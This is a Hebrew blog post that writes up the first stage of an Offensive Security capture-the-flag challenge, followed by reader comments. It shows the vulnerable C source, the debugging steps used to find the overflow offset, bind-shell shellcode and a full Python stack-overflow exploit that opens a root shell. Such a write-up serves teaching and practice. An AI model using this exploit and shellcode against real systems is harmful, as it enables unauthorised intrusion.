BinaryVision

אתגר Hacking של Offensive Security – שלב ראשון

מאת בתאריך 26/06/10, תחת כללי

קצת על האתגר

האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:

  • תוך 48 שעות, לפרוץ 5 מחשבים
  • להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
  • ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
  • כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
  • כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.

קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.

סריקה ראשונית

מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.

  • 200 – פתוח פורט 80
  • 141 – פתוח פורט 80 וכמה פורטים של SIP
  • 115 – פתוח שרת SQL
  • 140 – פורט 80 פתוח וכמה שהם filtered
  • 150 – ענה לי פעם על פורט כלשהו ונעלם

מעבר מהיר על המחשבים

  • 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
  • 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
  • 115 – שרת SQL שאין לי משתמש אליו
  • 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
  • 150 – לא התעסקתי איתו

הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.

Vuln

בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:

#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&my_addr, ...)){
    perror("bind");
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror("listen");
    exit(1);
  }

הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:

char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("Your message is \"%s\"\n",response);
return 0;
}

התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:

int jmp(void){
 __asm__("jmp %esp");
 return 0;
}

הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.

ניצול חולשה

שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:

#!/usr/bin/python
#
# exploit.py <ip> <port>
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:]
	buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()
	
main(sys.argv[1],long(sys.argv[2]))

מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.

מה יש בשרת

נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!

בפוסט הבא

מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??

:, , , , ,
14 תגובות:
  1. TAsn

    מחכה לפוסט הבא, כתבת את זה כמו איזה ספר של John Grisham, מאוד מעניין.
    הייתי אומר "חבל שלא שמעתי על התחרות", אבל תאכלס במילא לא היה לי זמן גם אם הייתי שומע.

  2. iTK98

    משהו עם הסריקה של טווח-C לא הסתדר לי. יכול להיות שזה נפתר ברמת ה-VPN שקלינטים לא יכולים לראות אחד אתד השני, אבל אם זה לא נעשה, ברגע שאני סורק את כל הטווח, אני צריך גם לסרוק תו"כ את שאר הקלינטים, מה שמאפשר להם להטעות אותי, להעלות שרתים מזוייפים, ואף להקשות עלי באופן כללי לזהות בין הקלינטים לשרתים.

    איך הזיהוי של השרתים נעשה (אם לא היה שימוש בבידוד ברמת ה-VPN)? 

  3. spdr

    פעם הבאה שיהיה אתגר דומה – תעשה לי טובה
    תשלח לי MEMO או מייל, זה נראה אחד האתגרים הכי שווים שפספסתי!

    חוצמזה אחלה כתיבה ואחלה הסברים, תמשיך 🙂

  4. Fate

    iTK98,

    אני חושב שאיפשהו היה רשום שהשרתים בין 100 ל200 והכתובות שקיבלו הלקוחות היו פחות מ100, ורשום שם ששינוי האיפי שאתה קיבלת מביא לInstant Disqualification.
    וכנ"ל גם ARP Spoofing וכאלה…

    מתישהו בשבוע הבא אני אכתוב את חלק 2…

  5. cP

    פוסט איכותי לגמרי 🙂

  6. פלוני

    כתבת את הפוסט לעצמך (ולשאר הפמליה),
    זה יומן מסע, מי שלא בקי בחומר לא לקח מפה שום דבר,
    ולא חידשת כלום לאלו שכן (מן הסתם).

    תצליח.

  7. iTK98

    עצם זה שהגבת הוא לא כתב את הפוסט לעצמו, קיצור
    הטיעון שלך מכשיל את עצמו…

  8. Fate

    פלוני,

    צודק, הפוסט הפעם נכתב יותר במטרה להציג את השלב הראשון באתגר, ולהציג כיווני מחשבה, פחות ללמד מ0 דברים טכנולוגיים חדשים.
    זה לא מפריע לאנשים שבאמת לא מבינים משהו או מתעניינים לשאול שאלות.

  9. Exodus

    יפה פאטא פוסט מגניב!
    חבל שלא ידעתי גם על התחרות אבל בחפיף
    ואני מתערב שאיפה שרשום knock first זה בטח איזה רמז לבצז port knocking או משהו..

    מחכה לפוסט הבא 😀

  10. tux

    תודה רבה, נהנתי לקרוא ואהבתי את כיווני המחשבה ..
    השארת אותי במתח לגבי ה mosquito.exe =]

  11. l3D

    פוסט יפה מחכה להמשך 🙂

  12. איתמר

    אולי אתה יכול לפרסם את כל הקבצים של כל השלבים ?

  13. MiP

    אתגר מגניב !
    חבל באמת שלא שמעתי עליו..

    מקווה בשבילך שזכית באמת ב-100 נק' ראשון וקיבלת
    את הכרטיס ל- B-H.

  14. Stabl3

    כל הכבוד פאטוש 🙂 אני חושב שהמון אנשים שקראו את זה כולל אני הורידו את הכובע!

השאר תגובה

מחפש משהו?

תשתמש בטופס למטה כדי לחפש באתר: